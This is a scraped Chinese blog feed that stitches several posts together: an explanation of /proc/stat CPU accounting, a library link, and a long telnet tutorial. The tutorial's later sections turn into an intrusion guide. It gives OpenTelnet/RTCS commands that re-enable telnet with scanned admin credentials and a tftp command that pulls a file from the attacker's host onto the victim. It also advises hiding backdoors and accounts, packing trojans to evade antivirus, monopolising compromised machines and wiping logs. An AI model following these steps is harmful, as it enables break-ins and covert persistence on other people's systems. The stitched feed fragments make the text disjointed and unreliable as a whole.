intr 303194010 212852371 3 0 0 11 0 0 2 1 1 0 0 3 0 11097365 0 72615114 6628960 0 179 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

ctxt 236095529

btime 1195210746

processes 401389

procs_running 1

procs_blocked 0

 

第一行的数值表示的是CPU总的使用情况，所以我们只要用第一行的数字计算就可以了。下表解析第一行各数值的含义：

参数

解析（单位：jiffies）

user (2032004)

从系统启动开始累计到当前时刻，用户态的CPU时间，不包含 nice值为负进程。

nice (102648)

从系统启动开始累计到当前时刻，nice值为负的进程所占用的CPU时间

system (238344)

从系统启动开始累计到当前时刻，核心时间

idle (167130733)

从系统启动开始累计到当前时刻，除IO等待时间以外其它等待时间

iowait (758440)

从系统启动开始累计到当前时刻，IO等待时间

irq (15159)

从系统启动开始累计到当前时刻，硬中断时间

softirq (17878)

从系统启动开始累计到当前时刻，软中断时间

 

 

因为/proc/stat中的数值都是从系统启动开始累计到当前时刻的积累值，所以需要在不同时间点t1和t2取值进行比较运算，当两个时间点的间隔较短时，就可以把这个计算结果看作是CPU的即时利用率。

 

CPU的即时利用率的计算公式：

CPU在t1到t2时间段总的使用时间 = ( user2+ nice2+ system2+ idle2+ iowait2+ irq2+ softirq2) - ( user1+ nice1+ system1+ idle1+ iowait1+ irq1+ softirq1)

CPU在t1到t2时间段空闲使用时间 = (idle2 - idle1)

CPU在t1到t2时间段即时利用率 =  1 - CPU空闲使用时间 / CPU总的使用时间

 

这些值是谁，什么时候记录的呢？

每次timer的中断就会记录一次，记录在struct cpu_usage_stat 里，实现在timer_tick ->update_process_times里。
那么它的精度就是HZ,如果HZ是100，就意味着每S记录100次。这个精度当然是不高的，而且容易出错，下面是在Documentation/cpu-load.txt中的一个例子：
  time line between two timer interrupts
 |--------------------------------------|
 ^                                    ^
 |_ user appA begins working          |
                                      |_ user appA goes to sleep
结果这个A的动作没有被记录下来，这一S有可能被记录到其他的头上。如果你做的程序正好是那个其他，你就会抱怨说，这真是一陀屎呀。
那么有没有高精度的记录呢？
有，但是要自己写，就算你用oprofile之类的，他的原理也是用timer_interrupt记录的，你可以用其他的高精度timer，但是，频繁的中断会把系统弄死。所以要自己写，假设有一个高精度的硬件counter，好像x86下的TimeStamp Counter，
在cpu_idle 里记录idle的时间，在asm_do_IRQ里记录处理irq的时间，在context_switch记录进入了那个process，以及时间，在__do_softirq里记录处理softirq的时间，把这些东西记录在一块全局数组里。



Kevin_Zhang 2010-11-10 09:31 发表评论
]]>linux c 函数库http://www.cppblog.com/zzfmars/archive/2010/11/09/133123.htmlKevin_ZhangKevin_ZhangTue, 09 Nov 2010 13:45:00 GMThttp://www.cppblog.com/zzfmars/archive/2010/11/09/133123.htmlhttp://www.cppblog.com/zzfmars/comments/133123.htmlhttp://www.cppblog.com/zzfmars/archive/2010/11/09/133123.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/133123.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/133123.htmlhttp://net.pku.edu.cn/~yhf/linux_c/ linux c 函数库


Kevin_Zhang 2010-11-09 21:45 发表评论
]]>telnet命令的使用详解http://www.cppblog.com/zzfmars/archive/2010/11/07/132838.htmlKevin_ZhangKevin_ZhangSun, 07 Nov 2010 01:42:00 GMThttp://www.cppblog.com/zzfmars/archive/2010/11/07/132838.htmlhttp://www.cppblog.com/zzfmars/comments/132838.htmlhttp://www.cppblog.com/zzfmars/archive/2010/11/07/132838.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/132838.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/132838.html命令访问远程计算机
　　用户使用telnet命令进行远程登录。该命令允许用户使用telnet协议在远程计算机之间进行通信，用户可以通过网络在远程计算机上登录，就像登录到本地机上执行命令一样。为了通过telnet登录到远程计算机上，必须知道远程机上的合法用户名和口令。
  虽然有些系统确实为远程用户提供登录功能，但出于对安全的考虑，要限制来宾的操作权限，因此，这种情况下能使用的功能是很少的。当允许远程用户登录时，系统通常把这些用户放在一个受限制的shell中，以防系统被怀有恶意的或不小心的用户破坏。用户还可以使用telnet从远程站点登录到自己的计算机上，检查电子邮件、编辑文件和运行程序，就像在本地登录一样。
　　但是，用户只能使用基于终端的环境而不是X Wndows环境，telnet只为普通终端提供终端仿真，而不支持 X Wndow等图形环境。

　　telnet命令的一般形式为：
telnet 主机名/IP 其中“主机名/IP”是要连接的远程机的主机名或IP地址。
例：　telnet 192.168.0.1
如果这一命令执行成功，将从远程机上得到login：提示符。
　　使用telnet命令登录的过程如下：$ telnet 主机名/IP 启动telnet会话。
一旦telnet成功地连接到远程系统上，就显示登录信息并提示用户输人用户名和口令。如果用户名和口令输入正确，就能成功登录并在远程系统上工作。在telnet提示符后面可以输入很多命令，用来控制telnet会话过程，在telnet联机帮助手册中对这些命令有详细的说明。
　　下面是一台Linux计算机上的telnet会话举例：
　　$ telnet server. somewhere. com Trying 127.0.0.1… Connected to serve. somewhere. com. Escape character is \';?]\';. “TurboLinux release 4. 0 （Colgate）
　 kernel 2.0.18 on an I486
　 login: bubba password: Last login:Mon Nov l5 20:50:43 for localhost Linux 2. 0.6. （Posix）. server: ~$ server: ~$ logout Connection closed by foreign host $
　　用户结束了远程会话后，一定要确保使用logout命令退出远程系统。然后telnet报告远程会话被关闭，并返回到用户的本地机的Shell提示符下。
　　r-系列命令 除ftp和telnet以外，还可以使用r-系列命令访问远程计算机和在网络上交换文件。使用r-系列命令需要特别注意，因为如果用户不小心，就会造成严重的安全漏洞。用户发出一个r-系列命令后，远程系统检查名为/etc/hosts.equiv的文件，以查看用户的主机是否列在这个文件中。如果它没有找到用户的主机，就检查远程机上同名用户的主目录中名为．rhosts的文件，看是否包括该用户的主机。如果该用户的主机包括在这两个文件中的任何一个之中，该用户执行r-系列命令就不用提供口令。
　　虽然用户每次访问远程机时不用键入口令可能是非常方便的，但是它也可能会带来严重的安全问题。我们建议用户在建立/etc/hosts.equiv和.rhosts文件之前，仔细考虑r-命令隐含的安全问题。


******************************************************　
telnet命令的使用详解
一 摘要

　　Telnet的应用不仅方便了我们进行远程登录，也给hacker们提供了又一种入侵手段和后门，但无论如何，在你尽情享受Telnet所带给你的便捷的同时，你是否真正的了解Telnet呢？

　　二 远程登录

　　Telnet服务虽然也属于客户机/服务器模型的服务，但它更大的意义在于实现了基于Telnet协议的远程登录（远程交互式计算），那么就让我们来认识一下远程登录。

　　1 远程登陆的基本概念

　　先来看看什么叫登录：分时系统允许多个用户同时使用一台计算机，为了保证系统的安全和记帐方便，系统要求每个用户有单独的帐号作为登录标识，系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令，这个过程被称为';登录';。

　　远程登陆是指用户使用Telnet命令，使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器，它只负责把用户输入的每个字符传递给主机，再将主机输出的每个信息回显在屏幕上。

　　2 远程登陆的产生及发展

　　我们可以先构想一个提供远程文字编辑的服务，这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接，当然这需要服务器的应答，然后向服务器发送键入的信息（文件编辑信息），并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。

　　似乎有了客户机/服务器模型的服务，一切远程问题都可以解决了。然而实际并非你想象的那样简单，如果我们仅需要远程编辑文件，那么刚才所构想的服务完全可以胜任，但假如我们的要求并不是这么简单，我们还想实现远程用户管理，远程数据录入，远程系统维护，想实现一切可以在远程主机上实现的操作，那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程，随之而来的问题是：远程机器会很快对服务器进程应接不暇，并淹没在进程的海洋里（我们在这里排除最专业化的远程机器）。

　　那么有没有办法解决呢？当然有，我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话，然后通过执行命令来实现更一般的服务，就像在本地操作一样。这样，我们便可以访问远地系统上所有可用的命令，并且系统设计员不需提供多个专用地服务器程序。

　　问题发展到这里好像前途一片光明了，用远程登录总应该解决问题了吧，但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录，在这种机器上增加远程登陆功能需要修改机器的操作系统，这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件，虽然这样也是比较困难的。为什么说这样做也比较困难呢？

　　举个例子来说：一般，操作系统会为一些特殊按键分配特殊的含义，比如本地系统将';Ctrl+C';解释为：';终止当前运行的命令进程';。但假设我们已经运行了远程登陆服务器软件，';Ctrl+C';也有可能无法被传送到远地机器，如果客户机真的将';Ctrl+C';传到了远地机器，那么';Ctrl+C';这个命令有可能不能终止本地的进程，也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。

　　但尽管有技术上的困难，系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件，并构造了充当客户机的应用软件。通常，客户机软件取消了除一个键以外的所有键的本地解释，并将这些本地解释相应的转换成远地解释，这就使得客户机软件与远地机器的交互，就如同坐在远程主机面前一样，从而避免了上述所提到的混乱。而那个唯一例外的键，可以使用户回到本地环境。

　　将远程登陆服务器设计为应用级软件，还有另一个要求，那就是需要操作系统提供对伪终端（pseudo terminal）的支持。我们用伪终端描述操作系统的入口点，它允许像Telnet服务器一样的程序向操作系统传送字符，并且使得字符像是来自本地键盘一样。只有使用这样的操作系统，才能将远程登陆服务器设计为应用级软件（比如Telnet服务器软件），否则，本地操作系统和远地系统传送将不能识别从对方传送过来的信息（因为它们仅能识别从本地键盘所键入的信息），远程登陆将宣告失败。

　　将远程登陆服务器设计为应用级软件虽然有其显著的优点：比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点（后面的内容将会给予解释），好在用户键入信息的速率不高，这种设计还是可以接受的。

　　3 远程登录的工作过程

　　使用Telnet协议进行远程登陆时需要满足以下条件：在本的计算机上必须装有包含Telnet协议的客户程序；必须知道远程主机的Ip地址或域名；必须知道登录标识与口令。

　　Telnet远程登录服务分为以下4个过程：

　　1）本地与远程主机建立连接。该过程实际上是建立一个TCP连接，用户必须知道远程主机的Ip地址或域名；

　　2）将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT（Net Virtual Terminal）格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报；

　　3）将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端，包括输入命令回显和命令执行结果；

　　4）最后，本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。

　　上面的内容只是讨论了远程登陆最基本的东西，其中的复杂和编程人员的艰辛是我们难以想象的，不知道你在舒服的使用Telnet的同时，是否想到了这些！

　　三 Telnet协议

　　我们知道Telnet服务器软件是我们最常用的远程登录服务器软件，是一种典型的客户机/服务器模型的服务，它应用Telnet协议来工作。那么，什么是Telnet协议？它都具备哪些特点呢？

　　1 基本内容

　　Telnet协议是TCP/IP协议族中的一员，是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务：

　　1）Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统，他们只需构造使用标准接口的程序；

　　2）Telnet包括一个允许客户机和服务器协商选项的机制，而且它还提供一组标准选项；

　　3）Telnet对称处理连接的两端，即Telnet不强迫客户机从键盘输入，也不强迫客户机在屏幕上显示输出。

　　2 适应异构

　　为了使多个操作系统间的Telnet交互操作成为可能，就必须详细了解异构计算机和操作系统。比如，一些操作系统需要每行文本用ASCII回车控制符（CR）结束，另一些系统则需要使用ASCII换行符（LF），还有一些系统需要用两个字符的序列回车-换行（CR-LF）；再比如，大多数操作系统为用户提供了一个中断程序运行的快捷键，但这个快捷键在各个系统中有可能不同（一些系统使用CTRL+C，而另一些系统使用ESCAPE）。如果不考虑系统间的异构性，那么在本地发出的字符或命令，传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此，Telnet协议必须解决这个问题。

　　为了适应异构环境，Telnet协议定义了数据和命令在Internet上的传输方式，此定义被称作网络虚拟终端NVT（Net Virtual Terminal）。它的应用过程如下：

　　对于发送的数据：客户机软件把来自用户终端的按键和命令序列转换为NVT格式，并发送到服务器，服务器软件将收到的数据和命令，从NVT格式转换为远地系统需要的格式；
　　对于返回的数据：远地服务器将数据从远地机器的格式转换为NVT格式，而本地客户机将将接收到的NVT格式数据再转换为本地的格式。
　　对于NVT格式的详细定义，有兴趣的朋友可以去查找相关资料。

　　3 传送远地命令

　　我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令，当用户在本地终端键入这些快捷键的时候，本地系统将执行相应的控制命令，而不把这些快捷键作为输入。那么对于Telnet来说，它是用什么来实现控制命令的远地传送呢？

　　Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时，NVT将按照其原始含义传送；当用户键入快捷键（组合键）时，NVT将把它转化为特殊的ASCII字符在网络上传送，并在其到达远地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因：

　　1）这种区分意味着Telnet具有更大的灵活性：它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能；

　　2）这种区分使得客户机可以无二义性的指定信令，而不会产生控制功能与普通字符的混乱。

　　4 数据流向

　　上面我们提到过将Telnet设计为应用级软件有一个缺点，那就是：效率不高。这是为什么呢？下面给出Telnet中的数据流向：

　　数据信息被用户从本地键盘键入并通过操作系统传到客户机程序，客户机程序将其处理后返回操作系统，并由操作系统经过网络传送到远地机器，远地操作系统将所接收数据传给服务器程序，并经服务器程序再次处理后返回到操作系统上的伪终端入口点，最后，远地操作系统将数据传送到用户正在运行的应用程序，这便是一次完整的输入过程；输出将按照同一通路从服务器传送到客户机。

　　因为每一次的输入和输出，计算机将切换进程环境好几次，这个开销是很昂贵的。还好用户的键入速率并不算高，这个缺点我们仍然能够接受。

　　5 强制命令

　　我们应该考虑到这样一种情况：假设本地用户运行了远地机器的一个无休止循环的错误命令或程序，且此命令或程序已经停止读取输入，那么操作系统的缓冲区可能因此而被占满，如果这样，远地服务器也无法再将数据写入伪终端，并且最终导致停止从TCP连接读取数据，TCP连接的缓冲区最终也会被占满，从而导致阻止数据流流入此连接。如果以上事情真的发生了，那么本地用户将失去对远地机器的控制。

　　为了解决此问题，Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令，那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组，并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了，携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应，服务器将读取并抛弃所有数据，直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。

　　6 选项协商

　　由于Telnet两端的机器和操作系统的异构性，使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置，否则将大大影响Telnet的适应异构性。因此，Telnet采用选项协商机制来解决这一问题。

　　Telnet选项的范围很广：一些选项扩充了大方向的功能，而一些选项制涉及一些微小细节。例如：有一个选项可以控制Telnet是在半双工还是全双工模式下工作（大方向）；还有一个选项允许远地机器上的服务器决定用户终端类型（小细节）。

　　Telnet选项的协商方式也很有意思，它对于每个选项的处理都是对称的，即任何一端都可以发出协商申请；任何一端都可以接受或拒绝这个申请。另外，如果一端试图协商另一端不了解的选项，接受请求的一端可简单的拒绝协商。因此，有可能将更新，更复杂的Telnet客户机服务器版本与较老的，不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项，可能会对交互有所改善。否则，它们将一起转到效率较低但可工作的方式下运行。所有的这些设计，都是为了增强适应异构性，可见Telnet的适应异构性对其的应用和发展是多么重要。

　　上面讨论了一些原理方面的东西，虽然我们在Telnet的使用过程中很难接触到这一层面，但我认为了解这些是有意义的，它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。

　　四 Win2000的Telnet服务

　　其实从应用层面上，Win2000的Telnet服务并没有什么可说的，绝大部分内容你都可以从HELP文件中得到，我在此只是把它稍微整理一下而已。

　　1 基本配置

　　Win2000为我们提供了Telnet客户机和服务器程序：Telnet.exe是客户机程序（Client），tlntsvr.exe是服务器程序（server），同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。

　　Windows 2000 默认安装了 Telnet 服务，但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置：

　　AllowTrustedDomain：是否允许域用户访问。默认值是1，允许信任域用户访问。可以改为0: 不允许域用户访问（只允许本地用户）。

　　DefaultDomain：可以对与该计算机具有信任关系的任何域设置。默认值是"."。

　　DefaultShell：显示 shell 安装的路径位置。默认值是： %systemroot%System32Cmd.exe /q /k

　　MaxFailedLogins：在连接终止之前显示尝试登录失败的最大次数。默认是3。

　　LoginScript：显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%System32login.cmd”，你可以更改脚本内容，这样登录进Telnet的欢迎屏幕就不一样了。

　　NTLM：NTLM身份验证选项。默认是2。可以有下面这些值：
　　0: 不使用 NTLM 身份验证。
　　1: 先尝试 NTLM 身份验证，如果失败，再使用用户名和密码。
　　2: 只使用 NTLM 身份验证。

　　TelnetPort：显示 telnet 服务器侦听 telnet 请求的端口。默认是：23。你也可以更改为其他端口。

　　以上各项设置你可以使用tlntadmn.exe（Telnet服务器管理程序）来进行非常方便的配置，配置后需要重新启动Telnet服务。如图1

　　2 NTLM

　　提到了telnet就不能不提NTLM，我想这也是让入侵者最为头痛的一件事，哪怕你获得了管理员帐号和密码，想简单通过NTLM也并非易事，况且win2000中的telnet默认仅以NTLM方式验证身份，这就让我们不得不关注NTLM这个东东，那么什么是NTLM呢？

　　早期的SMB协议在网络上明文传输口令，后来出现了"LAN Manager Challenge/Response"验证机制，简称LM，它十分简单以至很容易被破解，微软随后提出了WindowsNT挑战/响应验证机制，即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的：

　　1、客户端首先在本地加密当前用户的密码成为密码散列
　　2、客户端向服务器发送自己的帐号，这个帐号是没有经过加密的，明文直接传输
　　3、服务器产生一个16位的随机数字发送给客户端，作为一个 challenge（挑战）
　　4、客户端再用加密后的密码散列来加密这个 challenge ，然后把这个返回给服务器。作为 response（响应）
　　5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西，发送域控制器
　　6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列，然后使用这个密码散列来加密 challenge。
　　7、域控制器比较两次加密的 challenge ，如果一样，那么认证成功。

　　从上面的过程我们可以看出，NTLM是以当前用户的身份向Telnet服务器发送登录请求的，而不是用你扫到的对方管理员的帐户和密码登录，显然，你的登录将会失败。举个例子来说，你家的机器名为A（本地机器），你入侵的机器名为B（远地机器），你在A上的帐户是xinxin，密码是1234，你扫到B的管理员帐号是Administrator，密码是5678，当你想Telnet到B时，NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作，即用xinxin和1234，而并非用你扫到的Administrator和5678，且这些都是自动完成的，根本不给你插手的机会，因此你的登录操作将失败。

　　由于Telnet服务器对NTLM的使用有3个选项，所以当你Telnet远地机器时，会显示下面情况中的一种：

　　1)身份验证选项=0时
　　=====================================
　　Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
　　Welcome to Microsoft Telnet Service
　　Telnet Server Build 5.00.99201.1
　　login:
　　password:

　　\为0时不使用NTML身份验证，直接输入用户名和密码，比如你可以输入扫到的Administrator和5678

　　2)身份验证选项=1时
　　=====================================
　　NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
　　Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
　　Welcome to Microsoft Telnet Service
　　Telnet Server Build 5.00.99201.1
　　login:
　　password:

　　\先尝试 NTLM 身份验证，如果失败，再使用用户名和密码，其实这种方式对于我们来说，与上一种方式没什么区别

　　3)身份验证选项=2时
　　=====================================
　　NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
　　Server allows NTLM authentication only
　　Server has closed connection
　　遗失对主机的连接。
　　C:>

　　\仔细看看上面的显示，根本没有给你输入用户名和密码的机会，直接断开连接，扫到了密码也是白扫

　　所以对于入侵者来说，NTLM是横在我们面前的一座大山，必须要除掉它，一般我们有如下几种方法：

　　1通过修改远程注册表更改telnet服务器配置，将验证方式从2改为1或0；
　　2使用NTLM.exe，上传后直接运行，可将telnet服务器验证方式从2改为1；
　　3在本地建立扫描到的用户，以此用户身份开启telnet客户机并进行远程登录；
　　4使用软件，比如opentelnet.exe（需要管理员权限且开启IPC管道）
　　5使用脚本，如RTCS，（需要管理员权限但不依赖IPC管道）

　　基本上是以上的5种，其中后两种是我们比较常用的开telnet的手法，而且使用方法十分简单，命令如下：

　　OpenTelnet.exe \server username password NTLMAuthor telnetport
　　OpenTelnet.exe \服务器地址 管理员用户名 密码 验证方式（填0或1） telnet端口

　　cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
　　cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式>

　　五 在telnet中该做什么

　　本来写到上面就想结束了，不过许多朋友都说telnet上去后不知道该做什么了，既然这样，那我就抛砖引玉吧，这次不讲具体做法，只是说说思路，什么？为什么不讲具体做法？篇幅不够嘛，以后我会一一解释的。

　　1 查看系统信息

　　呵呵，其实就是随处看看，看看他的系统配置和版本（用type c:oot.ini来知道pro版或server版），看看都装了什么服务或软件（从目录名就可以知道了），看看有什么重要或有趣的文件啦（唉，要是国外的机器，看也看不懂），看看他的用户情况，总之就是尽可能多的了解系统，为一会装后门摸底。

　　2 使用tftp传送文件

　　想必大家都遇到过在telnet中传输文件的问题，因为我们习惯了在ipc管道中的文件传输，所以有些朋友喜欢用net share ipc$ 来打开管道，进而利用copy来传输文件。不过这样反而麻烦，既然我们已经得到了shell，我们可以用TFPT命令来完成这一切，什么是TFTP呢？

　　用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输，一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的： 首先运行本地的TFTP Server（比如tftpd32.exe）软件并保证始终开启直至传输全部完成， 然后在telnet中（当然你也可以在其他shell中）运行下面的命令：
　　C:>tftp –i ip get xinxin.exe c:abcxinxin.exe
　　其中ip为你自己机器的ip，且上传文件要与TFTP服务器端在同一目录下，这样你就可以把xinxin.exe上传到c盘abc目录下了（其实是从tftp服务器下载来的）

　　需要指出的是，如果使用代理IP，你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中，代替你的内部网络地址，所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。

　　3 安置后门

　　安置后门放在第二步好像早了点，如果你入侵还有其他目的，比如以破坏为主，或者是来修改主页的，那么这些事情当然可以在安置后门之前做；如果你只是想得到一只肉鸡，那就没什么可说的了，安后门吧。

　　后门的种类繁多，也给我们提供了很大的选择余地，能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有：木马，asp木马，远程控制软件，克隆帐户，建立并隐藏帐户，telnet，telnet扩展的shell，终端服务等。安置一个好的后门通常要注意以下几点：

　　1 不会被防火墙查杀及阻碍通信：被加入病毒库的后门最好加壳以逃过防火墙，尽量用低端口通信，以免被防火墙屏蔽。

　　2 最大限度增加隐蔽性：如果你选择远程控制软件，要注意被控端的安装提示和小图标，以及是否同步画面；如果你在帐户上做文章，要尽量保持在cmd和用户管理中都不出破绽；如果你选择放木马或telnet扩展，要注意文件和进程的隐藏；如果新开了终端服务（入侵前并没有开），一定要该掉3389这个显眼的端口，且越低越好。

　　3 不要当管理员不存在：这是一个大忌，许多朋友在只有默认帐户的机器上建立类似';hacking';的管理员帐户，真是无知者无畏呀。所以安置后门的时候，想想管理员疏忽的地方会在哪里。

　　4 打补丁

　　如果想独霸肉鸡，就要会打补丁，要知道对肉鸡的竞争是很激烈的。怎么打补丁呢？这个也要问？想想你是怎么进来的吧。算了，提示一下，除了修补大的漏洞以外（上传官方补丁并运行），也要注意它的共享，ipc$共享（最好都关闭），可疑端口，容易被利用的服务等。不过打补丁也要注意隐蔽性的，不要让管理员发现大的改动。

　　5 清除日志

　　可以手动或利用软件，如果不太会就去找相关教材吧，在这里我不详细介绍了。

　　六 结束语

　　文章的前部分主要说了一些原理性的东西，后部分则侧重于应用，写的多了难免会有些遗漏。

************************************************
当开始运行Telnet时,情况如何呢?一个应用系统由两部分组成:“client”——这就是Telnet简介所说的客户机，另一部分是“server”——这是运行于网络计算机上提供服务的系统，称之为服务器。而网络（即使用TCP也使用UDP的服务器）则是提供两者（Clinet与Server)通信的工具。
这里要求客户机必须做到:
(1)建立一个网络与服务器间的TCP连接
(2)以方便的方式接收输入
(3)对某些标准的格式化输入作重新格式化并作重新格式化并传送给服务器。
(4)以某些标准的格式化从服务器中接受输出
(5)重新格式化显示给自己的输出
服务器软件是运行于主机上提供服务的系统，如果没有运行服务系统，也就不能提供相应的服务。
某一类服务被调用，它就可以：
(1)通知网络软件，让它准备连接；
(2)等待一个标准的格式化要求的产生；
(3)服务请求；
(4)传送一个标准格式的结果给客户；
(5)重新等待
一个服务器应该能够处理各种客户，有的是运行在同类的电脑上的，而有的是运行在 IBM / PCs , Macintoshes , Amigas等各种不同的机器上。为了做到这一点，服务器必须具有一套通信规则，这种规则通常叫做协议。由于Telnet协议用于两个应用层之间所以叫做应用层协议。任何人都可以在任何类型的电脑上编制一个客户机。只要这个客户机可以上网通讯并遵守协议，他就可以进入服务器。实际上也就是说，用户的 Macintosh可以使用Telnet和其他的的Internet的工具，从而能让很多不同的系统为其工作。
就使用来说，一个应用层协议通常允许客户机和服务器有不同的数据设定，并通告客户机和服务器使用相互的通信方式。这些经常是有每行在开始的几个字节的文本程序来完成的。如果服务器发送一个以“TXT”字符开头的行命令给客户，那么这行 “TXT” 后边其他的数据就被送入屏幕显示。如果一行的开始是以“CMD”开始，则表明这些信息是从服务软件到客户软件。使用者是看不到这些的，这是因为在信息传送到时这些控制信号已去掉了。

除了在Telnet是如何工作的例子介绍的以外,Telnet还有很多的特点。Telnet可发送除了"escape"的任何字符到远程主机上。因为"escape"字符在Telnet中是客户机的一个特殊的命令模式，它的默认值是"Ctrl-]"。但要注意不要与键盘上的Esc键混淆，我们可以设定"escape"为任意某个字符，只是对Telnet来说以为着该字符不可能再被传送到远程主机上，而Esc键是一非打印字符，Telnet用它来删除远程系统中的命令。而且还应记住，"escape"字符并不总以"Ctrl-]"来表示。
可以仅仅键入Telnet,后面不带机器字句。这种情况下所看到的是Telnet>,这是告知Telnet在等待键入命令，比如键入问号"?"那么就得到一个有用的命令表：
telnet: ?
CoMMands may be abbreviated, CoMMand are:
open connect to a site
close close currect connection
quit exit telnet
display display operating parameters
send transmit special characters (';send ?'; for more)
set set operating parameters(';set ?'; for more)
status print status information
toggle toggle operating parameters(';toggle ?'; for more)
mode try to enter line-by-line or character-at-a-time mode
? print help information
虽然命令很多，甚至还有子命令，但只有一些是常用的。现在介绍以下的几个：
Close：
该命令用语终止连接。它自动切断与远程系统的连接，也可以用它退出Telnet，在冒失的进入一个网络主机时，想退出的话，就可以用到这个命令。
open：
用它来与一个命名机器连接，要求给出目标机器的名字或IP地址。如果未给出机器名，Telnet就将要你选择一个机器名。必须注意，在使用"Open"命令之前应该先用"close"来关闭任何已经存在的连接。
Set ECHO：
用于本地的响应是On或是Off。作用是是否把输出的内容显示在屏幕上。和DOS的ECHO基本上是一样。如果机器是处于ECHO ON的话，想改变为OFF，那么就可以输入SET ECHO,想再改变回ECHO OFF，那么就再键入SET ECHO就可以了。(这儿说的比较简短,如果有不明白的,可以与我联系)
Set escape char:
建立"escape"字符到某个特殊的符号，若想用某种控制符号来代替，可以用"asis"或者键入符号"^"加字母b(如：^b）。在正常工作时，是不需要用"escape"这个字符的，并且这个被用作"escape"的符号不应该再被使用。这类似于许多程序中对键盘上的每一个键设定其真正的涵义。但如果正在运行一个 daisy-chained 应用系统，那么可以重新议定"escape"字符的特征便是很有用的。例如：用Telnet从系统A到系统B，接着又用Telnet注册进入系统C。如果正在系统C上工作时出了故障，那么当"escape"代表符是相同时，就没法中断系统B到系统C的连接。键入"escape"代表符，将总是处于系统A的命令模式。如果在每个Telnet部分使用不同的"escape"代表符，便可以通过键入适当的符号，来选择其中一个命令模式，这也可以用于其他的应用中（像终端仿真）。
Quit:
用它可顺利地推出Telnet程序。
Z:
用语保留Telnet但暂时回到本地系统执行其他命令。并且在Telnet中的连接以及其他的选择在Telnet恢复时仍被保留。
Carriage Return:
用于不具体的一个命令从命令模式返回到所连接的远程机器上。另外，还有许多其他的命令可以推出命令模式。下面举一个例子，是从注册进入到porky.math.ukans.edu ,然后进入命令模式，然后返回porky::
telnet porky.math.ukans.edu
Trying 129.237.128.11...
Connected to porky.math.ukans.edu.
Escape character is ';^]';.
SunOS UNIX(porky)
login:wl
password:
Last Login: Tue Mar 28 05:35 from ns.bta.net.cn
SunOS Release 4.1.3_U1(SLIPPERY1) #3: Sun Nov 20 23:47:23 CST 1999
No match.
if:Expression syntax.
porky/serv/wl%cd/
porky/%CTRL-]
telnet:?
